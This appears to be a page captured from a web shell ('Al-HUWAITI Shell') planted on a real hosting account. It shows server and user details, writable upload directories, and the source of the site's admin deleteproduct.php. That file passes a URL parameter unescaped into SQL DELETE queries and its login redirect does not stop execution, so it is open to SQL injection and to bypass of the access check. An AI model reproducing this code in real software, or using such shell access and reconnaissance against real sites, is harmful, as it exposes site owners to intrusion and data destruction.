Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux in-mum-web1002.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u811747229 ( 811747229)
PHP Version : 8.0.30
Disable Function : NONE
Directory :  /home/u811747229/domains/lakshiagrichem.com/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u811747229/domains/lakshiagrichem.com/public_html/admin/deleteproduct.php
<?php
    include("../db.php");
    session_start();
    $id=$_GET["id"];
    // *************************************** checking *****************************************
    if (empty($_SESSION["admin_email"])) {
        header("location:../index.php");
    }
    // *************************************** selecting *****************************************
    if(isset($_GET["category"])){
        $category=$_GET["category"];
        if($category == "npk"){
            $delete="DELETE FROM npk_products WHERE id='$id'";
            mysqli_query($conn,$delete);
            header("location:product.php");
        }
        if($category == "liquid"){
            $delete="DELETE FROM liquid_fertilizer WHERE id='$id'";
            mysqli_query($conn,$delete);
            header("location:product.php");
        }
        if($category == "single"){
            $delete="DELETE FROM micro_or_boron_products WHERE id='$id'";
            mysqli_query($conn,$delete);
            header("location:product.php");
        }
        if($category == "mix"){
            $delete="DELETE FROM micro_or_boron_products WHERE id='$id'";
            mysqli_query($conn,$delete);
            header("location:product.php");
        }
        if($category == "boron"){
            $delete="DELETE FROM micro_or_boron_products WHERE id='$id'";
            mysqli_query($conn,$delete);
            header("location:product.php");
        }
        if($category == "bio"){
            $delete="DELETE FROM bio_products WHERE id='$id'";
            mysqli_query($conn,$delete);
            header("location:product.php");
        }
        if($category == "plant"){
            $delete="DELETE FROM bio_products WHERE id='$id'";
            mysqli_query($conn,$delete);
            header("location:product.php");
        }
    }
?>

Al-HUWAITI Shell